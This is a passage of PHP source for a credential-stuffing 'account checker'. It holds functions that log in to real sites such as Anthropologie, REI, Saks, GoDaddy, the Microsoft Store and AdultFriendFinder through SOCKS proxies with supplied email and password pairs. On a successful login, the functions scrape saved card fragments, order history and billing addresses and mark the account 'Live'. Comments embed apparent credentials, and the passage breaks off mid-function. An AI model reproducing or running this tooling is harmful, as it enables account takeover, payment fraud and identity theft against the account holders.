6225function anthropologie($m,$p,$sock)
6226{
6227 //pycoder@live.com|quocthang
6228 $curl = new curl;
6229 $cookie = tempnam('cookie','acc'.rand(1000000,9999999).'die.txt');
6230 $curl->cookiefile($cookie);
6231 $curl->timeout("30");
6232 if($sock != '') {$curl->proxy($sock);}
6233 $curl->ssl(0, 2);
6234
6235 $url1 = "https://www.anthropologie.com/anthro/user/checkout_login.jsp";
6236
6237
6238 $page = $curl->get($url1);
6239 if ($page) {
6240 $curl->referer($url1);
6241 $dyn = getStr($page,'name="_dynSessConf" value="','"');
6242 $data = "_dyncharset=ISO-8859-1&_dynSessConf=$dyn&formAction=&_D%3AformAction=+&%2Fatg%2Fuserprofiling%2FProfileFormHandler.value.autoLogin=true&_D%3A%2Fatg%2Fuserprofiling%2FProfileFormHandler.value.autoLogin=+&%2Fatg%2Fuserprofiling%2FProfileFormHandler.loginSuccessURL=..%2Fuser%2Faccount%2Fmyaccount.jsp&_D%3A%2Fatg%2Fuserprofiling%2FProfileFormHandler.loginSuccessURL=+&formURL=..%2Fuser%2Faccount%2Fmyaccount.jsp&ctag=loginError&forgotSuccessURL=..%2Fuser%2Fcheckout_login.jsp&login=$m&_D%3Alogin=+&submitPassword=$p&_D%3AsubmitPassword=+&iovationBlackBoxData=$black&_D%3AiovationBlackBoxData=+&%2Fatg%2Fuserprofiling%2FProfileFormHandler.login=Sign+In&_D%3A%2Fatg%2Fuserprofiling%2FProfileFormHandler.login=+&_DARGS=%2Fanthro%2Fuser%2Flogin.jsp.loginForm";
6243 $page = $curl->post($url1, $data, 1, 1, 0);
6244
6245
6246 if (!strpos($page, "Please try again")) {
6247 $page = $curl->get("https://www.anthropologie.com/anthro/user/account/payment_options.jsp");
6248 if(strpos($page,'No credit cards saved.'))
6249 {
6250 $card = "No Card";
6251 }
6252 else
6253 {
6254 $card = "[".getStr($page,"creditcards[i][3]=' XXXX XXXX ","'")." ".getStr($page,"creditcards[i][1]='","'")."/".getStr($page,"creditcards[i][2]='","'")."]";
6255 }
6256 $page = $curl->get("https://www.anthropologie.com/anthro/user/order/orderhistory.jsp");
6257 if(strpos($page,"You currently don't have any orders placed."))
6258 {
6259 $order = "No Order";
6260 }
6261 else
6262 {
6263 $order = "Last Status Order: ".getStr($page,'<span class="reg-status">','<div class="trackingnumber">');
6264 $order = strip_tags($order);
6265 }
6266 $page = $curl->get("https://www.anthropologie.com/anthro/user/account/billing_address.jsp");
6267 $bill = getStr($page,'name="firstName" value="','"')." ".getStr($page,'name="lastName" value="','"')." | ".getStr($page,'name="address1" value="','"')." | ".getStr($page,'name="city" value="','"')." | ".getStr($page,'name="/atg/userprofiling/ProfileFormHandler.alternateState" value="','"')." | ".getStr($page,'name="postalCode" value="','"')." | ".getStr($page,'name="phoneNumber" value="','"');
6268 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $card | $order | $bill";
6269 }
6270 elseif (strpos($page, "Please try again"))
6271 {
6272 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
6273 '<br>';
6274 $tdie++;
6275 } else {
6276 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
6277 '|' . '<br>';
6278 }
6279 flush(); ob_flush();
6280
6281 $curl->close();
6282 unset($curl); // destroy object
6283 }
6284 else
6285 {
6286 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
6287 '|' . '<br>';
6288 }
6289}
6290function ecampus($m,$p,$sock)
6291{
6292 $curl = new curl;
6293 $cookie = tempnam('cookie','acc'.rand(1000000,9999999).'die.txt');
6294 $curl->cookiefile($cookie);
6295 $curl->timeout("30");
6296 if($sock != '') {$curl->proxy($sock);}
6297 $curl->ssl(0, 2);
6298
6299 $url1 = "https://www.ecampus.com/myaccount/login.asp";
6300
6301
6302 $page = $curl->get($url1);
6303 if ($page) {
6304 $curl->referer($url1);
6305
6306 $data = "type=email&emailaddress=$m&upassword=$p";
6307 $page = $curl->post($url1, $data, 1, 1, 0);
6308
6309
6310 if (!strpos($page, "Are you an existing customer?")) {
6311
6312 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ ";
6313 }
6314 elseif (strpos($page, "Are you an existing customer?"))
6315 {
6316 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
6317 '<br>';
6318 $tdie++;
6319 } else {
6320 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
6321 '|' . '<br>';
6322 }
6323 flush(); ob_flush();
6324
6325 $curl->close();
6326 unset($curl); // destroy object
6327 }
6328 else
6329 {
6330 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
6331 '|' . '<br>';
6332 }
6333}
6334function drugstore($m,$p,$sock)
6335{
6336 //pycoder1@gmail.com|anhyeuem1
6337 $curl = new curl;
6338 $cookie = tempnam('cookie','acc'.rand(1000000,9999999).'die.txt');
6339 $curl->cookiefile($cookie);
6340 $curl->timeout("30");
6341 if($sock != '') {$curl->proxy($sock);}
6342 $curl->ssl(0, 2);
6343
6344 $url1 = "https://www.drugstore.com/user/login.asp";
6345
6346
6347 $page = $curl->get($url1);
6348 if ($page) {
6349 $curl->referer($url1);
6350 $token = getStr($page,'CSRFToken" value="','"');
6351 $data = "txtEmail=".urlencode($m)."&txtPassword=".urlencode($p)."&btnContinue.x=26&btnContinue.y=14&trx=Login_Password_Sent_Signin_Button&trxp1=0&trxp2=0&trxp3=1%7C1&trxp4=&catid=13163&ditac=10786&state=&from=%2Fdefault.asp&selcctype=&custom=&CSRFToken=".urlencode($token);
6352 $page = $curl->post($url1, $data, 1, 1, 0);
6353
6354 if (!strpos($page, 'incorrect')) {
6355 $page = $curl->get("https://www.drugstore.com/user/credit_cards.asp");
6356 preg_match_all("/<td class=\"CMethod\">(.*)<\/td>/", $page, $matches);
6357 foreach ($matches[1] as $key) {
6358 $key = explode('</td><td class="CDelete">', $key);
6359 $key = str_replace('</td><td class="CNumber">', "-", $key[0]);
6360 $card .= "[ ".$key." ] ";
6361 }
6362
6363 $page = $curl->get("https://www.drugstore.com/user/shipping_addresses.asp");
6364 $add = getStr($page,'<td class="CName">','<td class="CDelete">');
6365 $add = strip_tags($add);
6366 $add = str_replace(" ", " ", $add);
6367
6368 $page = $curl->get("https://www.drugstore.com/user/order_status.asp");
6369 $order = strip_tags(str_replace('</td><td>', "-", getStr($page,'<td class="orderId">','view details')));
6370 $link = "https://www.drugstore.com".getStr($page,'<td class="orderId"><a href="','"');
6371 $page = $curl->get($link);
6372 $total = getStr($page,'Total:</th><td class="amt">','</td>');
6373
6374
6375 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $total-$order | $card | $add";
6376 }
6377 elseif (strpos($page, 'incorrect')) {
6378 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
6379 '<br>';
6380 $tdie++;
6381 } else {
6382 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
6383 '|' . '<br>';
6384 }
6385 flush(); ob_flush();
6386 sleep(2);
6387 $curl->close();
6388 unset($curl); // destroy object
6389 }
6390 else
6391 {
6392 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
6393 '|' . '<br>';
6394 }
6395
6396}
6397function gilt($m,$p,$sock)
6398{
6399 //pycoder@live.com|quocthang
6400 $curl = new curl;
6401 $cookie = tempnam('cookie','acc'.rand(1000000,9999999).'die.txt');
6402 $curl->cookiefile($cookie);
6403 $curl->timeout("30");
6404 if($sock != '') {$curl->proxy($sock);}
6405 $curl->ssl(0, 2);
6406
6407 $url1 = "https://m.gilt.com/mobile/signin";
6408
6409 $page = $curl->get($url1);
6410 if ($page) {
6411 $curl->referer($url1);
6412
6413 $data = "return_url=&remember_me=on&email=$m&password=$p";
6414 $page = $curl->post($url1, $data, 1, 1, 0);
6415
6416 if (!strpos($page, "invalid"))
6417 {
6418 $page = $curl->get("http://m.gilt.com/mobile/account/creditcard");
6419 $card = getStr($page,'<a class="page-navigation-button select-section unselected"','</span>');
6420 $card = str_replace(" href", "<a href", $card);
6421 $card = str_replace("<br/>", " | ", $card);
6422 $card = strip_tags($card);
6423
6424 $page = $curl->get("http://m.gilt.com/mobile/account/order");
6425 if(strpos($page,'You do not have any recent orders'))
6426 {
6427 $order = "No Order";
6428 }
6429 else
6430 {
6431 $order = "Have Order";
6432 }
6433 $page = $curl->get("http://m.gilt.com/mobile/account/address");
6434 $bill = getStr($page,'<a class="unselected page-navigation-button"','</ul>');
6435 $bill = str_replace(" href", "<a href", $bill);
6436 $bill = str_replace("</li>", " | ", $bill);
6437 $bill = strip_tags($bill);
6438
6439 $url1 = "https://www.gilt.com/login/auth";
6440 $data = "email=$m&password=$p&remember_me=true";
6441 $page = $curl->post($url1, $data, 1, 1, 0);
6442 $page = $curl->get("https://www.gilt.com/");
6443 $insider = getStr($page,'data-gilt-tracking="insider"><span class="icon">+</span>','</a></li>');
6444 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $insider | $card | $order | $bill";
6445 }
6446 elseif (strpos($page, "invalid")) {
6447 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
6448 '<br>';
6449 $tdie++;
6450 } else {
6451 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
6452 '|' . '<br>';
6453 }
6454 flush(); ob_flush();
6455
6456 $curl->close();
6457 unset($curl); // destroy object
6458 }
6459 else
6460 {
6461 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
6462 '|' . '<br>';
6463 }
6464}
6465function zara($m,$p,$sock)
6466{
6467 $curl = new curl;
6468 $cookie = tempnam('cookie','acc'.rand(1000000,9999999).'die.txt');
6469 $curl->cookiefile($cookie);
6470 $curl->timeout("30");
6471 if($sock != '') {$curl->proxy($sock);}
6472 $curl->ssl(0, 2);
6473
6474 $url1 = "https://www.zara.com/webapp/wcs/stores/servlet/Logon?&ajaxCall=true";
6475
6476 $page = $curl->get($url1);
6477 if ($page) {
6478 $curl->referer($url1);
6479
6480 $data = "storeId=11719&catalogId=21053&langId=-1&reLogonURL=LogonForm&myAcctMain=1&fromOrderId=*&toOrderId=.&deleteIfEmpty=*&continue=1&createIfEmpty=1&calculationUsageId=-1&updatePrices=0&errorViewName=ItxLogonResponseView&previousPage=logon&returnPage=&gc_token=&URL=NoURL&staticLogonValue=&staticLogonReturnUrl=http%3A%2F%2Fwww.zara.com%2Fus%2F&logonId=$m&logonPassword=$p";
6481 $page = $curl->post($url1, $data, 1, 1, 0);
6482
6483 if (!strpos($page, '"status": 0') && !strpos($page,'Internal Server Error'))
6484 {
6485 $page = $curl->get("https://www.zara.com/webapp/wcs/stores/servlet/UserAccountOrderPlacedSubView?offset=1&catalogId=21053&langId=-1&limit=5&storeId=11719");
6486 if(inStr($page,'<td class="amount colActions">'))
6487 {
6488 $order = getStr($page,'<td class="aleft">','<td class="amount colActions">');
6489 $order = str_replace("</td>", "-", $order);
6490 $order = strip_tags($order);
6491 }
6492 else
6493 {
6494 $order = "No Order";
6495 }
6496 $page = $curl->get("https://www.zara.com/webapp/wcs/stores/servlet/UserAccountPersonalDataSubView?catalogId=21053&langId=-1&storeId=11719");
6497 $info = getStr(getStr($page,'<input type="text" maxlength="60" name="firstName" id="firstName"','<span class="inputTip tipHelp">'),'value="','"')." ".getStr(getStr($page,'<input type="text" maxlength="60" name="lastName" id="lastName"','<span class="inputTip tipHelp">'),'value="','"')." | ".getStr(getStr($page,'<input type="text" maxlength="100" name="address1" id="name"','<span class="inputTip tipHelp"'),'value="','"')." | ".getStr(getStr($page,'<input type="text" maxlength="60" name="city" id="city"','<span class="inputTip tipHelp"'),'value="','"')." | ".getStr(getStr($page,'<input type="text" maxlength="60" name="zipCode" id="zipCode"','<span class="inputTip tipHelp">'),'value="','"')." | ".getStr($page,'id="stateComboHidden" class="offleft required msgPos:\'msgPos9\'" value="US','"');
6498 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $order | $info";
6499 }
6500 elseif (strpos($page, '"status": 0')) {
6501 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
6502 '<br>';
6503 $tdie++;
6504 } elseif(strpos($page,'Internal Server Error')) {
6505 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
6506 '|' . '<br>';
6507 }
6508 flush(); ob_flush();
6509
6510 $curl->close();
6511 unset($curl); // destroy object
6512 }
6513 else
6514 {
6515 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
6516 '|' . '<br>';
6517 }
6518}
6519function rei($m,$p,$sock)
6520{
6521 //pycoder@live.com|quocthang
6522 $curl = new curl;
6523 $cookie = tempnam('cookie','acc'.rand(1000000,9999999).'die.txt');
6524 $curl->cookiefile($cookie);
6525 $curl->timeout("30");
6526 if($sock != '') {$curl->proxy($sock);}
6527 $curl->ssl(0, 2);
6528
6529 $url1 = "https://www.rei.com/user/login";
6530
6531 $page = $curl->get($url1);
6532 if ($page) {
6533 $curl->referer($url1);
6534 $token = getStr($page,'<input id="token" type="hidden" name="token" value="','"');
6535 $data = "storeId=8000&toUrl=%2FYourAccountInfoInView&URL=%2FYourAccountInfoInView&context=YourAccount&template=yourAccountLoginCq&displayScreenName=&token=$token&token_map=email%3DlogonId&submit2=submit2&logonId=$m&password=$p";
6536 $page = $curl->post($url1, $data, 1, 1, 0);
6537
6538 if (!strpos($page, "incorrect"))
6539 {
6540 $page = $curl->get("https://www.rei.com/OrderHistoryView");
6541 if(strpos($page,'You do not have any previous orders placed while logged in to Your REI Online Account.'))
6542 {
6543 $order = "No Order";
6544 }
6545 else
6546 {
6547 $get = getStr($page,'<tr class="orderList">','</tr>');
6548 $link = "https://www.rei.com".getStr($get,'<a href="','"');
6549 $link = urlencode($link);
6550 $link = str_replace("%09%09%09%09%09%09%09%09%09%09", "", $link);
6551 $link = urldecode($link);
6552 $link = str_replace("\n", "", $link);
6553 $link = str_replace("&", "&", $link);
6554 $curl->referer("https://www.rei.com/OrderHistoryView");
6555 $page = $curl->get($link);
6556
6557 if(strpos($page,'Shipped from'))
6558 {
6559 $order = "Last Order Shipped from ".getStr($page,'<b>Order Date:</b><p>','</p>');
6560 }
6561 else
6562 {
6563 $order = "Not Shipped";
6564 }
6565 }
6566 $page = $curl->get("https://www.rei.com/YourAccountCreditCardView");
6567 $ccnum = getStr($page,'<input type="text" pattern="[0-9]*" class="required field" maxlength="19" value="','"');
6568 if($ccnum == "")
6569 {
6570 $card = "No Card";
6571 }
6572 else
6573 {
6574 $card = "[".$ccnum."-".getStr(getStr(getStr($page,'<select id="cc_exp_month" name="cc_exp_month" class="required field">','</select>'),'selected="selected">','</option>'),'(',')')."/".getStr(getStr($page,'<select id="cc_exp_year" name="cc_exp_year" class="required field">','</select>'),'selected="selected">','</option>')."]";
6575 $card = str_replace("XXXXXXXXXXXX", "", $card);
6576 }
6577 $page = $curl->get("https://www.rei.com/EditPersonalDetails");
6578 $bill = getStr($page,'id="firstName" value="','"')." ".getStr($page,'id="lastName" value="','"')." | ".getStr($page,'id="address1" value="','"')." | ".getStr($page,'id="city" value="','"')." | ".getStr(getStr($page,'<optgroup label="States">','</optgroup>'),'selected="selected">','</')." | ".getStr($page,'id="phone1" value="','"');
6579 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $card | $order | $bill";
6580 }
6581 elseif (strpos($page, "incorrect")) {
6582 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
6583 '<br>';
6584 $tdie++;
6585 } else {
6586 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
6587 '|' . '<br>';
6588 }
6589 flush(); ob_flush();
6590
6591 $curl->close();
6592 unset($curl); // destroy object
6593 }
6594 else
6595 {
6596 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
6597 '|' . '<br>';
6598 }
6599}
6600function godaddy($m,$p,$sock)
6601{
6602 $curl = new curl;
6603 $curl->cookiefile(null);
6604 $curl->timeout("30");
6605 if($sock != "") { $curl->proxy($sock); }
6606 $curl->ssl(0, 2);
6607
6608 $cookie = tempnam('cookie','die_'.rand(100000000000,999999999999) .'.txt');
6609 $url = "http://www.godaddy.com/";
6610 $url2 = 'https://idp.m.godaddy.com/viewcontrols/android/authenticate/posthandlers/loginformposthandler.ashx?target=myaccount%2fmyaccounthome.aspx%3fci%3d82959&spkey=GDMDOTMYANET-P3MYAWEB&rand=576165';
6611
6612 $page = $curl->get($url);
6613 if ($page) {
6614
6615 $user = current(explode("@",$m));
6616 $data = "txtLogin=$user&txtPassword=$p&forumsubmitbutton=Login";
6617 $page = $curl->post($url2, $data, 1, 1, 0);
6618
6619 if (strpos($page,"Account Owner Information")) {
6620 $page = $curl->get("https://mya.m.godaddy.com/myaccount/accountownerinfo.aspx");
6621 preg_match_all("/value=\"(.*)\" \/>/", $page, $matches);
6622 unset($matches[1][0]);unset($matches[1][1]);
6623 for($i = 13; $i < 21; $i++)
6624 {
6625 unset($matches[1][$i]);
6626 }
6627 $bill = implode(" | ", $matches[1]);
6628
6629 return "<font color=yellow><b>Live</b></font> | $sock | User: $user | $m | $p @@@@ | $bill<br>";
6630 }
6631 elseif (strpos($page, "Please try again") || strpos($page,'This account is locked'))
6632 {
6633 $page = $curl->get($url);
6634 $url2 = getStr($page,'<form method="POST" id="loginForm" action="','"');
6635 $data = "loginname=pycoder&password=Quocthang1";
6636 $page = $curl->post($url2, $data, 1, 1, 0);
6637 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
6638 '<br>';
6639 }
6640 else {
6641 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
6642 '|' . '<br>';
6643 }
6644 flush(); ob_flush();
6645
6646 $curl->close();
6647 unset($curl); // destroy object
6648 }
6649 elseif(!$page)
6650 {
6651 return '<font color=pink>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
6652 '|' . '<br>';
6653 }
6654 else {
6655 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
6656 '|' . '<br>';
6657 }
6658
6659}
6660function saks($m,$p,$sock)
6661{
6662 $curl = new curl;
6663 $curl->cookiefile(null);
6664 $curl->timeout("30");
6665 if($sock) {$curl->proxy($sock);}
6666 $curl->ssl(0, 2);
6667
6668 $url1 = "https://www.saksfifthavenue.com/account/login.jsp";
6669
6670
6671 $page = $curl->get($url1);
6672 if ($page) {
6673 $formid = getStr($page,'bmFormID" value="','"');
6674 $uid = getStr($page,'bmUID" value="','"');
6675 $data = "bmForm=acct_login_new&bmFormID=$formid&bmUID=$uid&bmIsForm=true&bmPrevTemplate=%2Faccount%2Flogin.jsp&bmText=LOGIN%3C%3Euserid&bmRequired=LOGIN%3C%3Euserid&LOGIN%3C%3Euserid=$m&bmHidden=OMNI_EML_ACC_LOGIN&OMNI_EML_ACC_LOGIN=$m&bmText=LOGIN%3C%3Epassword&bmRequired=LOGIN%3C%3Epassword&LOGIN%3C%3Epassword=$p&bmImage=signIn.x&bmImage=signIn.y&bmImage=signIn&signIn.x=54&signIn.y=15&bmHidden=ASSORTMENT%3C%3East_id&ASSORTMENT%3C%3East_id=1408474395439671&bmHidden=ASSORTMENT%3C%3East_id&ASSORTMENT%3C%3East_id=1408474395439671";
6676 $page = $curl->post($url1, $data, 1, 1, 0);
6677
6678 //return $page;
6679 if (!strpos($page, "The e-mail address and/or password entered do not match a registered saks.com account.")) {
6680 $linkcc = getStr($page,"managePaymentMethodPage: '","'");
6681 $linkbill = getStr($page,"manageBillingAddressPage: '","'");
6682
6683 $page = $curl->get($linkcc);
6684 $card = getStr($page,'<font class="mainBold">Default Payment Type</font>','<td></td>');
6685 $card = strip_tags($card);
6686 $card = str_replace("\n", "", $card);
6687 $card = str_replace("Payment Type:", "", $card);
6688 $card = str_replace("Cardholder’s Name:", "", $card);
6689 $card = str_replace("Card Number Ending In:", "XXXX-", $card);
6690 $card = "<font color=lime>[ ".$card." ]</font>";
6691 if($card == '')
6692 {
6693 $card = 'No Card';
6694 }
6695
6696
6697 $page = $curl->get($linkbill);
6698 $info = getStr($page,'<td height="20" colspan="2">DEFAULT ADDRESS</td>','<table width="159" border="0" cellspacing="0" cellpadding="0">');
6699 $info = strip_tags($info);
6700 $info = str_replace("\n", "", $info);
6701
6702
6703 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $card | $info | ";
6704 } elseif (strpos($page, "The e-mail address and/or password entered do not match a registered saks.com account.")) {
6705 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
6706 '<br>';
6707 $tdie++;
6708 } else {
6709 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
6710 '|' . '<br>';
6711 }
6712 flush(); ob_flush();
6713
6714 $curl->close();
6715 unset($curl); // destroy object
6716 }
6717 else
6718 {
6719 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
6720 '|' . '<br>';
6721 }
6722}
6723function ms($m,$p,$sock)
6724{
6725 $url1 = "https://www.microsoftstore.com/store/msusa/en_US/DisplayEditProfilePage/";
6726 $cookie = tempnam('cookie','acc'.rand(1000000,9999999).'die.txt');
6727
6728 $curl = new curl;
6729 $curl->cookiefile($cookie);
6730 $curl->timeout("30");
6731 $curl->ssl(0, 2);
6732 if($sock != '')
6733 {
6734 $curl->proxy($sock);
6735 }
6736 $page = $curl->get($url1);
6737
6738 if ($page) {
6739 $url = getStr($page,"urlPost:'","'");
6740 $ppft = getStr($page,'name="PPFT" id="i0327" value="','"');
6741 $post = "login=$m&passwd=$p&type=11&PPFT=$ppft&PPSX=Passport&idsbho=1&sso=0&NewUser=1&LoginOptions=3&i1=0&i2=1&i3=38593&i4=0&i7=0&i12=1&i13=0&i14=356&i15=9565&i16=2500&i17=0&i18=__Login_Strings%7C1%2C__Login_Core%7C1%2C";
6742
6743 $curl->referer($url1);
6744 $page = $curl->post($url, $post, 1, 1, 0);
6745
6746 if (!strpos($page, 'incorrect') && strpos($page,'JavaScript required to sign in')) {
6747 if(inStr($page,'How should we verify your account?') || inStr($page,"need to verify that it's yours"))
6748 {
6749 $info = "Live => $sock | $m | $p @@@@ | Sercurity | Checked by Trym.Be";
6750 }
6751 else
6752 {
6753 $url = getStr($page,'name="fmHF" id="fmHF" action="','"');
6754 $nap = getStr($page,'name="NAP" id="NAP" value="','"');
6755 $anon = getStr($page,'name="ANON" id="ANON" value="','"');
6756 $t = getStr($page,'name="t" id="t" value="','"');
6757 $post = "NAP=".$nap."&ANON=".$anon."&t=".$t;
6758 $page = $curl->post($url, $post, 1, 1, 0);
6759
6760 if(inStr($page,"need to verify that it's yours"))
6761 {
6762 $info = "Live => $sock | $m | $p @@@@ | Sercurity | Checked by Trym.Be";
6763 }
6764 else
6765 {
6766 $info = getStr($page,'<div class="dr_addressInfo">','<div class="dr_editLink">');
6767 $info = strip_tags($info);
6768
6769 $page = $curl->get("https://www.microsoftstore.com/store/msusa/en_US/DisplayAddEditPaymentPage/");
6770 $payment = getStr($page,'<div class="paymentInstrument">','Add another payment method</a>');
6771 preg_match_all("/<span>(.*)<\/span>/", $payment, $array);
6772 $i = 0;
6773 while($i<count($array[1]))
6774 {
6775 $cc .= "[".$array[1][$i]."] ";
6776 $i++;
6777 }
6778 $cc = strip_tags($cc);
6779 $cc = str_replace(" ", "-", $cc);
6780 $info = str_replace("\n", "", $info);
6781 $info = str_replace("My Address", " ", $info);
6782 $info = str_replace("US", " US ", $info);
6783 if($info == "")
6784 {
6785 $info = '<font color=red>Die</font> ==> ' . $sock . '|' . $m . '|' . $p .
6786 '<br>';
6787 }
6788 else
6789 {
6790 $info = "Live => $sock | $m | $p @@@@ | $info | $cc<br>";
6791 }
6792 }
6793 }
6794 return $info;
6795 } elseif (strpos($page,'incorrect') || strpos($page,'sign in')) {
6796 return '<font color=red>Die</font> ==> ' . $sock . '|' . $m . '|' . $p .
6797 '<br>';
6798 } else {
6799 return '<font color=pink>Unknow</font> ==> ' . $sock . '|' . $m . '|' . $p .
6800 '<br>';
6801 }
6802 } else
6803 {
6804 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
6805 '|' . '<br>';
6806 }
6807
6808 $curl->close();
6809 unset($curl); // destroy object
6810 flush();
6811
6812}
6813function adultfriendfinder($m,$p,$sock)
6814{
6815 //pycoder@live.com|quocthang
6816 $curl = new curl;
6817 $curl->cookiefile(null);
6818 $curl->timeout("30");
6819 if($sock) {$curl->proxy($sock);}
6820 $curl->ssl(0, 2);
6821
6822 $url1 = "https://secure.adultfriendfinder.com/p/login.cgi";
6823
6824
6825 $page = $curl->get($url1);
6826 if ($page) {
6827
6828 $who = getStr($page,'<input type="hidden" name="who" value="','"');
6829 $data = "who=$who&site=ffadult&action=login&flag=error&bypass_timeout=1&handle=$m&password=$p";
6830 $page = $curl->post($url1, $data, 1, 1, 0);
6831
6832 //return $page;
6833 if (!strpos($page, "doesn't match")) {
6834 $page = $curl->get("https://secure.adultfriendfinder.com/p/billing.cgi");
6835
6836 $order = getStr($page,'<td nowrap="nowrap">','<div>');
6837 $order = strip_tags($order);
6838 $card = getStr($page,'<span class="billing_payment_option_account_txt">','</span>');
6839 $card = str_replace(array("Number: ","Expiration date: "), "", $card);
6840 $card = strip_tags($card);
6841 $page = $curl->get("http://adultfriendfinder.com/p/update.cgi?p=my_account_update_profile_geographical_location");
6842 $location = getStr($page,'<div class="sub_title">My Profile Location:<br><span class="sub_content">','</span></div>');
6843
6844 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $order | $card | $location";
6845 } elseif (strpos($page, "doesn't match")) {
6846 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
6847 '<br>';
6848 $tdie++;
6849 } else {
6850 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
6851 '|' . '<br>';
6852 }
6853 flush(); ob_flush();
6854
6855 $curl->close();
6856 unset($curl); // destroy object
6857 }
6858 else
6859 {
6860 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
6861 '|' . '<br>';
6862 }
6863}
6864
6865function paltalk($m,$p,$sock)
6866{
6867 $curl = new curl;
6868 $cookie = tempnam('cookie','acc'.rand(1000000,9999999).'die.txt');
6869 $curl->cookiefile($cookie);
6870 $curl->timeout("30");
6871 if($sock) {$curl->proxy($sock);}
6872 $curl->ssl(0, 2);
6873
6874 $url1 = "https://commerce.paltalk.com/sson/login";
6875
6876
6877 $page = $curl->get($url1);
6878 if ($page) {
6879 $user = rm($m);
6880 $data = "username=$user&password=$p&target=https%3A%2F%2Fcommerce.paltalk.com%2Fmpt%2FMyPalTalkHome.jsp&failure_target=http%3A%2F%2Fwww.paltalk.com%2Findex.php&action=login";
6881 $page = $curl->post($url1, $data, 1, 1, 0);
6882
6883 if (!strpos($page,'Already a Member, login.')) {
6884 $status = getStr($page,'<span class="label">Subscription Status:</span>','</span>');
6885 $exp = getStr($page,'<span class="label">Expires On:</span>','</span>');
6886 $mail = getStr($page,'<span class="label">Email Address:</span>','</span>');
6887 $level = getStr($page,'<span class="label">Crown Level</span>','</span>');
6888 $info = "<font color=yellow><b>Live</b></font> | $sock | $user | $p @@@@ | Status: $status | Exp: $exp | Mail: $mail | Level: $level";
6889 $info = strip_tags($info);
6890 $info = str_replace("\n", "", $info);
6891 return $info;
6892 }
6893
6894 elseif (strpos($page, "Already a Member, login.")) {
6895 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
6896 '<br>';
6897 $tdie++;
6898 } else {
6899 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
6900 '|' . '<br>';
6901 }
6902 flush(); ob_flush();
6903
6904 $curl->close();
6905 unset($curl); // destroy object
6906 }
6907 else
6908 {
6909 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
6910 '|' . '<br>';
6911 }
6912}
6913
6914
6915
6916function jcp($m,$p,$sock)
6917{
6918 $curl = new curl;
6919 $curl->cookiefile(null);
6920 $curl->timeout("30");
6921 $curl->proxy($sock);
6922 $curl->ssl(0, 2);
6923
6924 $url1 = "https://www.jcpenney.com/dotcom/jsp/profile/secure/signinModal.jsp?displayModal=login&userAction=header&entry=login&parentUrl=http%3A%2F%2Fwww.jcpenney.com%2Fdotcom%2Findex.jsp";
6925 $url2 = "https://www.jcpenney.com/dotcom/jsp/profile/secure/signinModal.jsp?_DARGS=/dotcom/jsp/profile/secure/signinModal.jsp.loginAjax";
6926
6927 $page = $curl->get($url1);
6928 if ($page) {
6929 $dynSessConf = getStr($page, '</div><div style="display:none"><input value="', '" type="hidden" name="_dynSessConf"');
